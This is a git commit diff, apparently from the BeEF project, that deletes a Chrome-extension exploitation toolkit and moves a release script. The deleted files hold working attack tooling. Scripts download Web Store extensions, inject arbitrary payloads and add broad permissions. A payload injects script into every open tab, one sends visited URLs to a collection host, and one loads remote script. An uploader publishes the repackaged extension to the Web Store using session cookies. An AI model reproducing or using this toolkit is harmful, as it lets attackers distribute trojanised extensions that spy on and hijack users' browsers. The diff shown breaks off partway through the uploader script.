Tools: Remove chrome_extensions_exploitation (#2798)
* Tools: Remove chrome_extensions_exploitation * Tools: move scripts/bump-version.sh -> tools/bump-version.sh
This commit is contained in:
@@ -4,6 +4,5 @@
|
|||||||
.gitignore
|
.gitignore
|
||||||
doc
|
doc
|
||||||
docs
|
docs
|
||||||
scripts
|
|
||||||
test
|
test
|
||||||
update-beef
|
update-beef
|
||||||
|
|||||||
7
scripts/bump-version.sh → tools/bump-version.sh
Normal file → Executable file
7
scripts/bump-version.sh → tools/bump-version.sh
Normal file → Executable file
@@ -1,10 +1,15 @@
|
|||||||
#!/bin/bash
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
if [[ -z "${1}" || -z "${2}" ]]; then
|
if [[ -z "${1}" || -z "${2}" ]]; then
|
||||||
echo "Error: missing arguments"
|
echo "Error: missing arguments"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [[ ! -f beef || ! -f VERSION ]]; then
|
||||||
|
echo "Error: must be run from within the BeEF root directory"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
echo "Updating version ${1} to ${2}"
|
echo "Updating version ${1} to ${2}"
|
||||||
|
|
||||||
git checkout -b "release/${2}"
|
git checkout -b "release/${2}"
|
||||||
@@ -1,87 +0,0 @@
|
|||||||
Various tools for dealing with Chrome Extensions, especially valuable for pentesting / social engineering assignments.
|
|
||||||
|
|
||||||
Authors:
|
|
||||||
|
|
||||||
- Krzysztof Kotowicz - @kkotowicz - [blog](http://blog.kotowicz.net)
|
|
||||||
- Michele '@antisnatchor' Orru
|
|
||||||
|
|
||||||
|
|
||||||
Injector
|
|
||||||
--------
|
|
||||||
Bunch of scripts for injecting existing extensions with new code:
|
|
||||||
Extensions can be downloaded from Chrome WebStore (repacker-webstore) or taken from crx files (repacker-crx).
|
|
||||||
|
|
||||||
Requirements:
|
|
||||||
|
|
||||||
- bash
|
|
||||||
- ruby
|
|
||||||
- zip (cmd line)
|
|
||||||
- curl (cmd line)
|
|
||||||
- Google Chrome (used in crx mode only)
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
|
|
||||||
# get extension from Web Store, add payloads/phonehome.js and copy the extension to repacked-dir/
|
|
||||||
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk dir repacked-dir payloads/phonehome.js
|
|
||||||
|
|
||||||
# Same, but pack into repacked.zip instead
|
|
||||||
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js
|
|
||||||
|
|
||||||
# Create new CRX with Google Chrome
|
|
||||||
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk crx repacked.crx payloads/phonehome.js
|
|
||||||
|
|
||||||
# Inject into existing CRX file
|
|
||||||
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js
|
|
||||||
|
|
||||||
# Add some permissions into manifest.json
|
|
||||||
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js "tabs,proxy"
|
|
||||||
|
|
||||||
# Add persistent content script file launching on every tab
|
|
||||||
$ echo 'console.log(location.href)' > cs.js
|
|
||||||
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs,<all_urls>" cs.js
|
|
||||||
|
|
||||||
For example - mass poisoning every tab with [mosquito](https://github.com/koto/mosquito):
|
|
||||||
|
|
||||||
# start mosquito server:
|
|
||||||
$ cd path/to/mosquito
|
|
||||||
$ python mosquito/start.py 8082 4444 --http 8000
|
|
||||||
|
|
||||||
# generate mosquito hook:
|
|
||||||
# - visit http://localhost:8000/generate
|
|
||||||
# - save hook as cs.js
|
|
||||||
|
|
||||||
# inject mosquito dropper into extension:
|
|
||||||
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs,<all_urls>" cs.js
|
|
||||||
|
|
||||||
|
|
||||||
Webstore Uploader
|
|
||||||
-----------------
|
|
||||||
Script for uploading and publishing Chrome Extensions packed in zip files in Chrome Web Store
|
|
||||||
|
|
||||||
Requirements:
|
|
||||||
|
|
||||||
- ruby
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
|
|
||||||
# Preparation:
|
|
||||||
|
|
||||||
1. Create Chrome developer account
|
|
||||||
2. Login at https://chrome.google.com/webstore/developer/dashboard/
|
|
||||||
3. Pay your $5 one time fee (credit card needed)
|
|
||||||
4. Get SID, SSID, HSID cookies and paste their values in webstore_uploader/config.rb file
|
|
||||||
|
|
||||||
# Get Chrome extension code
|
|
||||||
# e.g. run Injector in zip mode:
|
|
||||||
|
|
||||||
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js
|
|
||||||
|
|
||||||
# (optional) - prepare screenshot / description file
|
|
||||||
|
|
||||||
# publish the extension right away
|
|
||||||
$ ruby webstore_uploader/webstore_upload.rb repacked.zip publish description.txt screenshot.png
|
|
||||||
|
|
||||||
# or just upload & save it:
|
|
||||||
$ ruby webstore_uploader/webstore_upload.rb repacked.zip save description.txt screenshot.png
|
|
||||||
|
|
||||||
# you can access the extension from your developer dashboard
|
|
||||||
@@ -1,135 +0,0 @@
|
|||||||
#!/usr/bin/env ruby
|
|
||||||
# encoding: UTF-8
|
|
||||||
|
|
||||||
# Authors:
|
|
||||||
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'json'
|
|
||||||
require 'securerandom'
|
|
||||||
|
|
||||||
class ChromeExtensionToolkit
|
|
||||||
@ext = ''
|
|
||||||
@manifest
|
|
||||||
BCG_SCRIPT = 1
|
|
||||||
BCG_PAGE = 2
|
|
||||||
|
|
||||||
def initialize(extpath)
|
|
||||||
raise ArgumentError, "Empty extension path" unless extpath
|
|
||||||
raise ArgumentError, "Invalid extension path" unless File.directory?(extpath)
|
|
||||||
@ext = extpath
|
|
||||||
end
|
|
||||||
|
|
||||||
def reload_manifest()
|
|
||||||
f = get_file('manifest.json')
|
|
||||||
manifest = File.read(f).sub("\xef\xbb\xbf", '')
|
|
||||||
manifest = JSON.parse(manifest)
|
|
||||||
set_manifest(manifest)
|
|
||||||
return manifest
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_manifest()
|
|
||||||
if @manifest
|
|
||||||
return @manifest
|
|
||||||
end
|
|
||||||
|
|
||||||
return reload_manifest()
|
|
||||||
end
|
|
||||||
|
|
||||||
def set_manifest(manifest)
|
|
||||||
@manifest = manifest
|
|
||||||
end
|
|
||||||
|
|
||||||
def save_manifest()
|
|
||||||
save_file('manifest.json', JSON.pretty_generate(@manifest))
|
|
||||||
end
|
|
||||||
|
|
||||||
def save_file(file, contents)
|
|
||||||
File.open(get_file(file), 'w') {|f| f.write contents }
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_file(file)
|
|
||||||
return File.join(@ext, file)
|
|
||||||
end
|
|
||||||
|
|
||||||
def assert_not_app()
|
|
||||||
manifest = get_manifest()
|
|
||||||
raise RuntimeError, "Apps are not supported, only regular Chrome extensions" if manifest['app']
|
|
||||||
end
|
|
||||||
|
|
||||||
def inject_script(payload)
|
|
||||||
assert_not_app()
|
|
||||||
assert_background_page('injector_bg') # add page to extensions that don't have one
|
|
||||||
bcg_file = get_file(get_background_page())
|
|
||||||
|
|
||||||
if File.exist?(bcg_file)
|
|
||||||
bcg = File.read(bcg_file)
|
|
||||||
else
|
|
||||||
bcg = ""
|
|
||||||
end
|
|
||||||
|
|
||||||
if not payload
|
|
||||||
return bcg
|
|
||||||
end
|
|
||||||
|
|
||||||
if bcg_file.end_with? ".js" # js file, just prepend payload
|
|
||||||
return payload + ";" + bcg
|
|
||||||
end
|
|
||||||
|
|
||||||
name = SecureRandom.hex + '.js'
|
|
||||||
save_file(name, payload)
|
|
||||||
return bcg.sub(/(\<head\>|\Z)/i, "\\1\n<script src=\"/#{name}\"></script>")
|
|
||||||
end
|
|
||||||
|
|
||||||
def assert_background_page(default)
|
|
||||||
manifest = get_manifest()
|
|
||||||
if not manifest['manifest_version'].nil? and manifest['manifest_version'] >= 2
|
|
||||||
if manifest['background'].nil?
|
|
||||||
manifest['background'] = {}
|
|
||||||
end
|
|
||||||
|
|
||||||
if manifest['background']['page']
|
|
||||||
return BCG_PAGE
|
|
||||||
end
|
|
||||||
|
|
||||||
if not manifest['background']['scripts'].nil?
|
|
||||||
manifest['background']['scripts'].unshift(default + '.js')
|
|
||||||
set_manifest(manifest)
|
|
||||||
return BCG_SCRIPT
|
|
||||||
else
|
|
||||||
|
|
||||||
manifest['background']['scripts'] = [default + '.js']
|
|
||||||
set_manifest(manifest)
|
|
||||||
return BCG_SCRIPT
|
|
||||||
end
|
|
||||||
end
|
|
||||||
if not manifest['background_page']
|
|
||||||
manifest['background_page'] = default + '.html'
|
|
||||||
end
|
|
||||||
set_manifest(manifest)
|
|
||||||
return BCG_PAGE
|
|
||||||
end
|
|
||||||
|
|
||||||
def add_permissions(perms)
|
|
||||||
manifest = get_manifest()
|
|
||||||
manifest['permissions'] += perms
|
|
||||||
manifest['permissions'].uniq!
|
|
||||||
set_manifest(manifest)
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_background_page()
|
|
||||||
manifest = get_manifest()
|
|
||||||
if manifest['background'] and manifest['background']['page']
|
|
||||||
return manifest['background']['page']
|
|
||||||
end
|
|
||||||
|
|
||||||
if manifest['background'] and manifest['background']['scripts']
|
|
||||||
return manifest['background']['scripts'][0]
|
|
||||||
end
|
|
||||||
|
|
||||||
if manifest['background_page']
|
|
||||||
return manifest['background_page']
|
|
||||||
end
|
|
||||||
raise RuntimeError, "No background page present"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
|
|
||||||
# path to chrome binary
|
|
||||||
CHROMEPATH="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
|
||||||
|
|
||||||
# Private key to sign repacked extensions with.
|
|
||||||
# Leave empty to generate new file on every run.
|
|
||||||
#PEM="/home/koto/dev/xsschef/tools/dev.pem"
|
|
||||||
PEM=
|
|
||||||
@@ -1,53 +0,0 @@
|
|||||||
#!/usr/bin/env ruby
|
|
||||||
# encoding: UTF-8
|
|
||||||
|
|
||||||
# Authors:
|
|
||||||
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
|
|
||||||
|
|
||||||
require_relative 'chrome_extension_toolkit.rb'
|
|
||||||
|
|
||||||
def help()
|
|
||||||
puts "[-] Error. Usage: ruby inject.rb <extension-path> [permissions] < script.js"
|
|
||||||
puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js"
|
|
||||||
exit 1
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
|
||||||
extpath = ARGV[0]
|
|
||||||
if not extpath
|
|
||||||
help()
|
|
||||||
end
|
|
||||||
t = ChromeExtensionToolkit.new(extpath)
|
|
||||||
puts "Loaded extension in #{extpath}"
|
|
||||||
|
|
||||||
manifest = t.get_manifest()
|
|
||||||
puts "Existing manifest: "
|
|
||||||
puts manifest
|
|
||||||
|
|
||||||
# injecting any script from stdin
|
|
||||||
puts "Reading payload..."
|
|
||||||
payload = $stdin.read
|
|
||||||
puts "Injecting payload..."
|
|
||||||
|
|
||||||
injected = t.inject_script(payload)
|
|
||||||
|
|
||||||
print injected
|
|
||||||
|
|
||||||
if ARGV[1]
|
|
||||||
perms = ARGV[1].split(',')
|
|
||||||
puts "Adding permissions #{ARGV[1]}..."
|
|
||||||
t.add_permissions(perms)
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "Saving..."
|
|
||||||
# write
|
|
||||||
t.save_file(t.get_background_page(), injected)
|
|
||||||
t.save_manifest()
|
|
||||||
|
|
||||||
puts "Done."
|
|
||||||
|
|
||||||
rescue Exception => e
|
|
||||||
$stderr.puts e.message
|
|
||||||
$stderr.puts e.backtrace.inspect
|
|
||||||
exit 1
|
|
||||||
end
|
|
||||||
@@ -1,117 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
|
|
||||||
# Authors:
|
|
||||||
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
|
|
||||||
#
|
|
||||||
# Unpacks a crx file, inject it with given payload, and, optionally
|
|
||||||
# packs it into zip/crx file
|
|
||||||
# see ../README.md
|
|
||||||
|
|
||||||
DIR=$( cd "$( dirname "$0" )" && pwd )
|
|
||||||
source $DIR/config.ini
|
|
||||||
RUNDIR=`pwd`
|
|
||||||
tempfoo=`basename $0`
|
|
||||||
TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1
|
|
||||||
EXTDIR="$TMPDIR"
|
|
||||||
|
|
||||||
INPUT_CRX=$1
|
|
||||||
MODE=$2
|
|
||||||
DESTINATION=$3
|
|
||||||
JS_FILE=$4
|
|
||||||
shift 4
|
|
||||||
|
|
||||||
if [ ! -z "$1" ]; then # 5th param optional
|
|
||||||
PERMISSIONS=$1
|
|
||||||
shift
|
|
||||||
else
|
|
||||||
PERMISSIONS=""
|
|
||||||
fi
|
|
||||||
|
|
||||||
function help {
|
|
||||||
printf "Usage: %s: <input.crx> <mode> <destination> <inject-bg.js> [permissions] [file1 ... ] \n" $(basename $0) >&2
|
|
||||||
echo " <input.crx> - original extension CRX file" >&2
|
|
||||||
echo " <mode> - output mode (dir|zip|crx)" >&2
|
|
||||||
echo " <destination> - directory or file path to write injected extension to (depending on <mode>)" >&2
|
|
||||||
echo " <inject-bg.js> - script to inject into extension background" >&2
|
|
||||||
echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2
|
|
||||||
echo " [file...] - additional files to add to extension" >&2
|
|
||||||
exit 2
|
|
||||||
}
|
|
||||||
|
|
||||||
if [[ $# -eq 0 ]] ; then
|
|
||||||
help
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ ! -f "${INPUT_CRX}" ]; then
|
|
||||||
bailout "No input CRX file! - ${INPUT_CRX}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ ! -f "${JS_FILE}" ]; then
|
|
||||||
bailout "No file to inject! - ${JS_FILE}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then
|
|
||||||
bailout "You must give mode and destination!"
|
|
||||||
fi
|
|
||||||
|
|
||||||
function cleanup {
|
|
||||||
rm -rf "$TMPDIR"
|
|
||||||
}
|
|
||||||
|
|
||||||
function bailout () {
|
|
||||||
echo "Error: $1" >&2
|
|
||||||
cleanup
|
|
||||||
exit 1
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "Unpacking $INPUT_CRX to $EXTDIR..."
|
|
||||||
# supress warning about extra prefix bytes
|
|
||||||
unzip -qo "$INPUT_CRX" -d "$EXTDIR" 2>/dev/null
|
|
||||||
echo "Injecting script $JS_FILE..."
|
|
||||||
|
|
||||||
$DIR/inject.rb "$EXTDIR" "$PERMISSIONS" < $JS_FILE || bailout "Injection failed"
|
|
||||||
|
|
||||||
# copy additional files
|
|
||||||
for file in "$@"
|
|
||||||
do
|
|
||||||
|
|
||||||
if [ -f "$file" ]; then
|
|
||||||
echo "Adding $file..."
|
|
||||||
cp "$file" "$EXTDIR"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Mode: $MODE"
|
|
||||||
|
|
||||||
case "$MODE" in
|
|
||||||
crx)
|
|
||||||
if [ ! -x "$CHROMEPATH" ]; then
|
|
||||||
bailout "You must set correct CHROMEPATH in tools/config.ini"
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Signing $EXTDIR..."
|
|
||||||
"$CHROMEPATH" --pack-extension="$EXTDIR" --pack-extension-key="$PEM" --no-message-box
|
|
||||||
if (( $? )) ; then
|
|
||||||
bailout "Signing in Chrome FAILED."
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Moving signed extension to $DESTINATION"
|
|
||||||
mv "`dirname "$EXTDIR"`/`basename "$EXTDIR"`.crx" "$DESTINATION"
|
|
||||||
;;
|
|
||||||
zip)
|
|
||||||
echo "Zipping extension to $DESTINATION"
|
|
||||||
cd "$EXTDIR"
|
|
||||||
zip -r __tmp.zip .
|
|
||||||
cd -
|
|
||||||
mv "$EXTDIR/__tmp.zip" $DESTINATION
|
|
||||||
;;
|
|
||||||
dir)
|
|
||||||
echo "Moving extension directory to $DESTINATION"
|
|
||||||
rm -r "$DESTINATION"
|
|
||||||
mv "$EXTDIR" "$DESTINATION"
|
|
||||||
;;
|
|
||||||
*)
|
|
||||||
bailout "Unknown mode: $MODE"
|
|
||||||
esac
|
|
||||||
|
|
||||||
cleanup
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
|
|
||||||
# Authors:
|
|
||||||
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
|
|
||||||
#
|
|
||||||
# Downloads extension from Google Chrome Webstore, inject it with given payload, and, optionally
|
|
||||||
# packs it into zip/crx file
|
|
||||||
# see ../README.md
|
|
||||||
|
|
||||||
RUNDIR=`pwd`
|
|
||||||
DIR=$( cd "$( dirname "$0" )" && pwd )
|
|
||||||
tempfoo=`basename $0`
|
|
||||||
TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1
|
|
||||||
|
|
||||||
function help {
|
|
||||||
printf "Usage: %s: [-q] <extension_id> <mode> <destination> <inject-bg.js> [permissions] [file1 ...] \n" $(basename $0) >&2
|
|
||||||
echo " -q : quiet, only repacked extension filename will be printed to stdout" >&2
|
|
||||||
echo " <extension_id> - extension id from Chrome WebStore" >&2
|
|
||||||
echo " <mode> - output mode (dir|zip|crx)" >&2
|
|
||||||
echo " <destination> - directory or file path to write injected extension to (depending on <mode>)" >&2
|
|
||||||
echo " <inject-bg.js> - script to inject into extension background" >&2
|
|
||||||
echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2
|
|
||||||
echo " [file...] - additional files to add to extension" >&2
|
|
||||||
exit 2
|
|
||||||
}
|
|
||||||
|
|
||||||
function cleanup {
|
|
||||||
rm -rf "$TMPDIR"
|
|
||||||
cd "$RUNDIR"
|
|
||||||
}
|
|
||||||
|
|
||||||
function bailout () {
|
|
||||||
echo "Error: $1" >&2
|
|
||||||
cleanup
|
|
||||||
exit 1
|
|
||||||
}
|
|
||||||
|
|
||||||
#Parsing command line parameters
|
|
||||||
QUIET=
|
|
||||||
PERMISSIONS="tabs,proxy,<all_urls>,history,cookies,management,plugins"
|
|
||||||
|
|
||||||
while getopts 'qh' OPTION
|
|
||||||
do
|
|
||||||
case $OPTION in
|
|
||||||
q) QUIET="1"
|
|
||||||
;;
|
|
||||||
h) help
|
|
||||||
;;
|
|
||||||
*) help
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
done
|
|
||||||
|
|
||||||
shift $(($OPTIND - 1))
|
|
||||||
|
|
||||||
if [[ $# -eq 0 ]] ; then
|
|
||||||
help
|
|
||||||
fi
|
|
||||||
|
|
||||||
EXT_ID="$1"
|
|
||||||
MODE="$2"
|
|
||||||
DESTINATION="$3"
|
|
||||||
JS_FILE="$4"
|
|
||||||
PERMISSIONS="$5"
|
|
||||||
shift 5
|
|
||||||
|
|
||||||
if [ -z "$EXT_ID" ]; then
|
|
||||||
bailout "No extension ID!"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ ! -f "${JS_FILE}" ]; then
|
|
||||||
bailout "No file to inject! - ${JS_FILE}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then
|
|
||||||
bailout "You must give mode and destination!"
|
|
||||||
fi
|
|
||||||
|
|
||||||
WEBSTORE_URL="https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D${EXT_ID}%26lang%3Dpl%26uc"
|
|
||||||
|
|
||||||
# offline test
|
|
||||||
# cp tmp/adblock.crx "$TMPDIR/org.crx"
|
|
||||||
|
|
||||||
if [ "$QUIET" ]; then
|
|
||||||
curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx" --silent
|
|
||||||
else
|
|
||||||
curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if (( $? )) ; then
|
|
||||||
bailout "CURL failed."
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$QUIET" ]; then
|
|
||||||
$DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ >/dev/null || bailout "Repacker failed"
|
|
||||||
echo -n $DESTINATION
|
|
||||||
else
|
|
||||||
$DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ || bailout "Repacker failed"
|
|
||||||
fi
|
|
||||||
rm $TMPDIR/org.crx
|
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
// sample payload
|
|
||||||
console.log(location.href);
|
|
||||||
@@ -1,23 +0,0 @@
|
|||||||
// add a /cs.js file to extension and have it run in a content script on every tab
|
|
||||||
var INJECTOR_CS_PAYLOAD = '/cs.js';
|
|
||||||
// requires tabs permissions
|
|
||||||
|
|
||||||
chrome.tabs.query({}, function (tabs) {
|
|
||||||
for (var i = 0; i < tabs.length; i++) {
|
|
||||||
if (tabs[i].url.match('^http')) {
|
|
||||||
chrome.tabs.executeScript(tabs[i].id, {
|
|
||||||
allFrames: true,
|
|
||||||
file: INJECTOR_CS_PAYLOAD});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) {
|
|
||||||
if (changeInfo.status == 'complete' && tab.url.match('^http')) {
|
|
||||||
chrome.tabs.executeScript(tabId, {
|
|
||||||
allFrames: true,
|
|
||||||
file: INJECTOR_CS_PAYLOAD
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
var x = new XMLHttpRequest();
|
|
||||||
x.open('get', 'http://localhost/?url=' + encodeURIComponent(location.href), true);
|
|
||||||
x.onload = x.onerror = function() {
|
|
||||||
console.log('phoned home');
|
|
||||||
}
|
|
||||||
x.send(null);
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
# Authors:
|
|
||||||
# Michele '@antisnatchor' Orru
|
|
||||||
|
|
||||||
# 1. Login at https://chrome.google.com/webstore/developer/dashboard/
|
|
||||||
# 2. Pay your $5 one time fee
|
|
||||||
# 3. Get SID, SSID, HSID cookies and paste their values below
|
|
||||||
|
|
||||||
# if you want to proxy request through Burp, USE_PROXY = true
|
|
||||||
USE_PROXY = false
|
|
||||||
PROXY_HOST = "127.0.0.1"
|
|
||||||
PROXY_PORT = 9090
|
|
||||||
|
|
||||||
HTTP_READ_OPEN_TIMEOUT = 30 # seconds
|
|
||||||
|
|
||||||
G_PUBLISHER_ID = '' # gXXXXXXX, the last part of the Dashboard URL https://chrome.google.com/webstore/developer/dashboard/gXXXX
|
|
||||||
|
|
||||||
# these are the only 3 session cookies needed, the rest of the cookies are not needed.
|
|
||||||
# you get these cookies when you are successfully authenticated on
|
|
||||||
SID = ""
|
|
||||||
SSID = ""
|
|
||||||
HSID = ""
|
|
||||||
|
|
||||||
Binary file not shown.
@@ -1,5 +0,0 @@
|
|||||||
d=document;
|
|
||||||
e=d.createElement('script');
|
|
||||||
e.src="https://192.168.0.2/ciccio.js";
|
|
||||||
d.body.appendChild(e);
|
|
||||||
|
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 11 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1.6 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 3.6 KiB |
@@ -1,21 +0,0 @@
|
|||||||
{
|
|
||||||
"name": "Test extension",
|
|
||||||
"manifest_version": 2,
|
|
||||||
"version": "1.0",
|
|
||||||
"description": "Test extension",
|
|
||||||
"background": {
|
|
||||||
"scripts": ["background.js"]
|
|
||||||
},
|
|
||||||
"content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'",
|
|
||||||
"icons": {
|
|
||||||
"16": "icon16.png",
|
|
||||||
"48": "icon48.png",
|
|
||||||
"128": "icon128.png"
|
|
||||||
},
|
|
||||||
"permissions": [
|
|
||||||
"tabs",
|
|
||||||
"http://*/*",
|
|
||||||
"https://*/*",
|
|
||||||
"cookies"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
@@ -1,289 +0,0 @@
|
|||||||
# encoding: UTF-8
|
|
||||||
require 'rubygems'
|
|
||||||
require 'net/https'
|
|
||||||
require 'json'
|
|
||||||
require 'zip'
|
|
||||||
require 'json'
|
|
||||||
|
|
||||||
# Authors:
|
|
||||||
# Michele '@antisnatchor' Orru
|
|
||||||
# Krzysztof Kotowicz - @kkotowicz
|
|
||||||
# README:
|
|
||||||
# Before running the script, make sure you change the following 4 variables in config.rb:
|
|
||||||
# G_PUBLISHER_ID, SID, SSID, HSID
|
|
||||||
#
|
|
||||||
# You can retrieve all these values after you're successfully authenticated in the WebStore, see comments
|
|
||||||
# in the config.rb.sample. Rename it ro config.rb when done.
|
|
||||||
#
|
|
||||||
|
|
||||||
require_relative 'config.rb'
|
|
||||||
|
|
||||||
def help()
|
|
||||||
puts "[-] Error. Usage: ruby webstore_upload.rb <zip_file_name> <publish|save> [description_file] [screenshot_file]"
|
|
||||||
exit 1
|
|
||||||
end
|
|
||||||
|
|
||||||
zip_name = ARGV[0]
|
|
||||||
if zip_name == nil
|
|
||||||
help()
|
|
||||||
end
|
|
||||||
EXT_ZIP_NAME = zip_name
|
|
||||||
|
|
||||||
mode = ARGV[1]
|
|
||||||
action = nil
|
|
||||||
if mode == nil
|
|
||||||
help()
|
|
||||||
elsif mode == "publish"
|
|
||||||
action = "publish"
|
|
||||||
elsif mode == "save"
|
|
||||||
action = "save_and_return_to_dashboard"
|
|
||||||
#action = "save"
|
|
||||||
else
|
|
||||||
help()
|
|
||||||
end
|
|
||||||
ACTION = action
|
|
||||||
|
|
||||||
if !File.exist?(EXT_ZIP_NAME)
|
|
||||||
puts "[-] Error: #{EXT_ZIP_NAME} does not exist"
|
|
||||||
help()
|
|
||||||
end
|
|
||||||
|
|
||||||
if ARGV[2] != nil and File.exist?(ARGV[2])
|
|
||||||
DESCRIPTION = File.new(ARGV[2]).read()
|
|
||||||
puts "[*] Using description from #{ARGV[2]}"
|
|
||||||
else
|
|
||||||
DESCRIPTION = ""
|
|
||||||
end
|
|
||||||
|
|
||||||
if ARGV[3] != nil and File.exist?(ARGV[3])
|
|
||||||
SCREENSHOT_NAME = ARGV[3]
|
|
||||||
puts "[*] Using screenshot from #{SCREENSHOT_NAME}"
|
|
||||||
end
|
|
||||||
|
|
||||||
# general get/post request handler
|
|
||||||
def request(uri, method, headers, post_body)
|
|
||||||
uri = URI(uri)
|
|
||||||
http = nil
|
|
||||||
if USE_PROXY
|
|
||||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
|
||||||
else
|
|
||||||
http = Net::HTTP.new(uri.host, uri.port)
|
|
||||||
end
|
|
||||||
|
|
||||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
|
||||||
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
|
||||||
if uri.scheme == "https"
|
|
||||||
http.use_ssl = true
|
|
||||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
|
||||||
end
|
|
||||||
|
|
||||||
request = nil
|
|
||||||
if method == "POST"
|
|
||||||
request = Net::HTTP::Post.new(uri.request_uri, headers)
|
|
||||||
if post_body.is_a?(Hash)
|
|
||||||
request.set_form_data(post_body) # post_body as in: {"key" => "value"}
|
|
||||||
else
|
|
||||||
request.body = post_body # post_body as in: {"key" => "value"}
|
|
||||||
end
|
|
||||||
else # otherwise GET
|
|
||||||
request = Net::HTTP::Get.new(uri.request_uri, headers)
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
|
||||||
response = http.request(request)
|
|
||||||
|
|
||||||
case response
|
|
||||||
when Net::HTTPSuccess
|
|
||||||
then
|
|
||||||
return response
|
|
||||||
when Net::HTTPRedirection # if you get a 3xx response
|
|
||||||
then
|
|
||||||
return response
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
rescue SocketError => se # domain not resolved
|
|
||||||
return nil
|
|
||||||
rescue Timeout::Error => timeout # timeout in open/read
|
|
||||||
return nil
|
|
||||||
rescue Errno::ECONNREFUSED => refused # connection refused
|
|
||||||
return nil
|
|
||||||
rescue Exception => e
|
|
||||||
#puts e.message
|
|
||||||
#puts e.backtrace
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# raw request to upload the extension.zip file data
|
|
||||||
def request_octetstream(uri, headers)
|
|
||||||
file = File.new(EXT_ZIP_NAME)
|
|
||||||
|
|
||||||
uri = URI(uri)
|
|
||||||
req = Net::HTTP::Post.new(uri.request_uri, headers)
|
|
||||||
|
|
||||||
post_body = []
|
|
||||||
post_body << File.read(file)
|
|
||||||
req.body = post_body.join
|
|
||||||
req["Content-Type"] = "application/octet-stream"
|
|
||||||
|
|
||||||
http = nil
|
|
||||||
if USE_PROXY
|
|
||||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
|
||||||
else
|
|
||||||
http = Net::HTTP.new(uri.host, uri.port)
|
|
||||||
end
|
|
||||||
|
|
||||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
|
||||||
